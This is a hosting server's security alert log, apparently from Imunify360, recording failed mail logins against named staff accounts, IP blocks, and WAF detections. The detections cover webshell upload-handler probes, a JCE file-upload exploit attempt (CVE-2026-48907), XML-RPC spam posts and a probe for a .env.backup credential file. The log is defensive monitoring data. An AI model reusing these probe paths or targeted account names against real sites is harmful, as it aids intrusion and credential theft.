abuser: 113.203.193.106
country_id: 1168579
description:
2026-07-22 10:42:14 dovecot_login authenticator failed for H=([68.71.254.3]) [113.203.193.106]:56567: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.203.193.106
country_id: 1168579
description:
Jul 22 10:42:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.203.193.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 10:44:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.10.203.54
country_id: 2661886
description:
Jul 22 10:46:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.10.203.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-22 10:46:13 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([111.26.115.124]) [176.10.203.54]:42070: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.152.36
country_id: 1733045
description:
Jul 22 10:46:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.152.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.36
country_id: 1733045
description:
2026-07-22 10:46:47 dovecot_login authenticator failed for H=([117.173.101.132]) [49.124.152.36]:41926: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 10:48:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.111.136.211
country_id: 294640
description:
Jul 22 10:51:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.111.136.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.211
country_id: 294640
description:
2026-07-22 10:51:38 dovecot_login authenticator failed for H=([120.198.138.185]) [84.111.136.211]:59702: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 10:51:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 10:53:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.230.228.122
country_id: 298795
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/idealloanzcom/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 10:56:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.16
country_id: 2661886
description:
2026-07-22 11:02:14 dovecot_login authenticator failed for H=([142.54.239.4]) [188.126.240.16]:44278: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.126.240.16
country_id: 2661886
description:
Jul 22 11:02:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.126.240.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-22 11:02:57 dovecot_login authenticator failed for H=([2.55.70.124]) [128.185.235.110]:41866: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 11:06:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.93.206
country_id: 1835841
description:
Jul 22 11:08:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.93.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-22 11:08:54 dovecot_login authenticator failed for H=(h79-138-90-195.cust.bredband2.com) [218.156.93.206]:45920: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.133.229.251
country_id: 1522867
description:
Jul 22 11:09:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.133.229.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.229.251
country_id: 1522867
description:
2026-07-22 11:09:17 dovecot_login authenticator failed for H=2.133.229.251.dynamic.telecom.kz (ipmapt-72-195-34-45.oc.oc.cox.net) [2.133.229.251]:55543: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.110.176.222
country_id: 1694008
description:
Jul 22 11:08:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.110.176.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-22 11:08:44 dovecot_login authenticator failed for H=([59.24.163.29]) [27.110.176.222]:41286: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 11:09:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.69.111.243
country_id: 1168579
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:13997.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d8c89dfdead7d815bc54653a3f29d28702f5513b||Title:0xd4c25a73||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 11:12:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 11:16:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-6398.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 22 11:23:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 11:29:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.101.24
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:152.232.101.24||TA:152.232.101.24||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 11:31:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.227.211.82
country_id: 1269750
description:
Jul 22 11:31:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.227.211.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-22 11:31:44 dovecot_login authenticator failed for H=([118.220.149.121]) [110.227.211.82]:38150: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.196.127.84
country_id: 6252001
description:
Jul 22 11:31:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.196.127.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.127.84
country_id: 6252001
description:
2026-07-22 11:31:53 dovecot_login authenticator failed for H=([67.201.33.12]) [74.196.127.84]:49670: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 11:33:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.230.228.122
country_id: 298795
domain: jaashsupplies.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/jaashsupplies/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 91.93.232.8
country_id: 298795
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74967.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:97559b57fdda1423761a9c231c3125b2322bf59b||Title:0xe2d54082||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 91.93.232.8
country_id: 298795
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:30358.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2561407d3e94c30807b8a0af87fb9045d3e1d697||Title:0xdc71377a||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 11:40:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 11:40:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.62.74.41
country_id: 1527747
description:
Jul 22 11:41:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.62.74.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-22 11:41:23 dovecot_login authenticator failed for H=(c188-150-230-190.bredband.tele2.se) [92.62.74.41]:58316: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 151.115.166.129
country_id: 3175395
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:ddgalaxy||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.192.219.77
country_id: 1835841
description:
Jul 22 11:50:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.192.219.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-22 11:50:54 dovecot_login authenticator failed for H=([45.82.110.150]) [119.192.219.77]:42967: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 11:51:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 11:52:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 11:53:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-22 11:55:15 dovecot_login authenticator failed for H=([103.69.9.16]) [188.122.37.97]:55726: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 11:54:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.37.97
country_id: 2635167
description:
Jul 22 11:55:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.37.97 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 88.230.228.122
country_id: 298795
domain: kallanigroup.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.32||T:APACHE||SC:/home/kallanigroup/public_html/administrator/components/com_jdownloads||User:kallanigroup||WPU:||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.8.97
country_id: 1835841
description:
Jul 22 11:55:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.8.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-22 11:55:39 dovecot_login authenticator failed for H=([31.173.67.115]) [218.156.8.97]:34396: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-22 11:59:23 dovecot_login authenticator failed for H=(ip4.gtt.net) [207.254.29.22]:58368: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.5.205.174
country_id: 6252001
description:
2026-07-22 11:59:13 dovecot_login authenticator failed for H=ip-50-5-205-174.dynamic.fuse.net ([184.151.88.27]) [50.5.205.174]:52920: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.5.205.174
country_id: 6252001
description:
Jul 22 11:59:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.5.205.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.254.29.22
country_id: 2963597
description:
Jul 22 11:59:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.254.29.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 12:02:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.161.169.98
country_id: 2635167
domain: alnayza.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/z9x8c7v6b5-debug-trigger-alnayza.com||User:alnay||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.161.169.98
country_id: 2635167
domain: alnayza.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:alnay||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.192.54.219
country_id: 1835841
description:
Jul 22 12:04:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.192.54.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-22 12:04:32 dovecot_login authenticator failed for H=([49.124.146.43]) [211.105.229.237]:51320: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 12:03:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.192.54.219
country_id: 1835841
description:
2026-07-22 12:04:06 dovecot_login authenticator failed for H=([184.170.249.69]) [211.192.54.219]:40322: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.105.229.237
country_id: 1835841
description:
Jul 22 12:04:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.105.229.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 1.22.218.14
country_id: 1269750
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:82849.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9e843466dfe5b28fcda13a45b69bdd92b6f913e6||Title:0x09110cba||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.230.228.122
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/keralapeople/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-22 12:05:47 dovecot_login authenticator failed for H=([174.75.211.204]) [117.250.107.180]:59817: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.30.60
country_id: 1835841
description:
2026-07-22 12:06:20 dovecot_login authenticator failed for H=(193.210.177.45.fronteirainternet.com.br) [119.207.30.60]:52269: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.207.30.60
country_id: 1835841
description:
Jul 22 12:06:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.207.30.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.230.46
country_id: 1269750
description:
2026-07-22 12:06:34 dovecot_login authenticator failed for H=(mail.ieducationbd.com) [125.20.230.46]:35064: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.107.180
country_id: 1269750
description:
Jul 22 12:05:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.107.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.104.220.195
country_id: 1835841
description:
Jul 22 12:06:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.104.220.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-22 12:07:00 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [183.104.220.195]:33046: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 59.91.250.29
country_id: 1269750
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:39415.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e500ccf23f8583f103d13d98773b5366d951aefe||Title:tog3oxe169za0k||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.158.10
country_id: 99237
description:
Jul 22 12:13:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.158.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.158.10
country_id: 99237
description:
2026-07-22 12:13:20 dovecot_login authenticator failed for H=([180.250.112.148]) [65.20.158.10]:49906: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 12:14:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 12:14:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 12:15:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.184.65.81
country_id: 6252001
description:
Jul 22 12:22:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.184.65.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.184.65.81
country_id: 6252001
description:
2026-07-22 12:22:22 dovecot_login authenticator failed for H=wsip-70-184-65-81.oc.oc.cox.net ([218.58.73.238]) [70.184.65.81]:41140: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 12:24:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 211.199.246.60
country_id: 1835841
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:96569.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:08ddcb9c2c898e3c300f3db7ecb7012649332031||Title:0xc135695d||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 12:27:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 12:35:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 12:36:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.0.165.219
country_id: 1605651
description:
Jul 22 12:37:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.0.165.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.117.155.41
country_id: 1269750
description:
2026-07-22 12:37:17 dovecot_login authenticator failed for H=([121.131.220.150]) [103.117.155.41]:48154: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-22 12:37:07 dovecot_login authenticator failed for H=([219.248.65.30]) [106.0.165.219]:41046: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.117.155.41
country_id: 1269750
description:
Jul 22 12:37:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.117.155.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 51.89.229.88
country_id: 2635167
domain: travelinbh.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.7778.96 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 12:46:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.116.190
country_id: 1269750
description:
Jul 22 12:49:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.116.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.190
country_id: 1269750
description:
2026-07-22 12:49:20 dovecot_plain authenticator failed for H=(oneshiess) [182.95.116.190]:33650: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 12:50:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.248.110
country_id: 2661886
description:
2026-07-22 12:51:44 dovecot_login authenticator failed for H=h83-209-248-110.cust.bredband2.com ([176.12.132.63]) [83.209.248.110]:50894: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.209.248.110
country_id: 2661886
description:
Jul 22 12:51:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.209.248.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.3
country_id: 1668284
description:
Jul 22 12:51:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
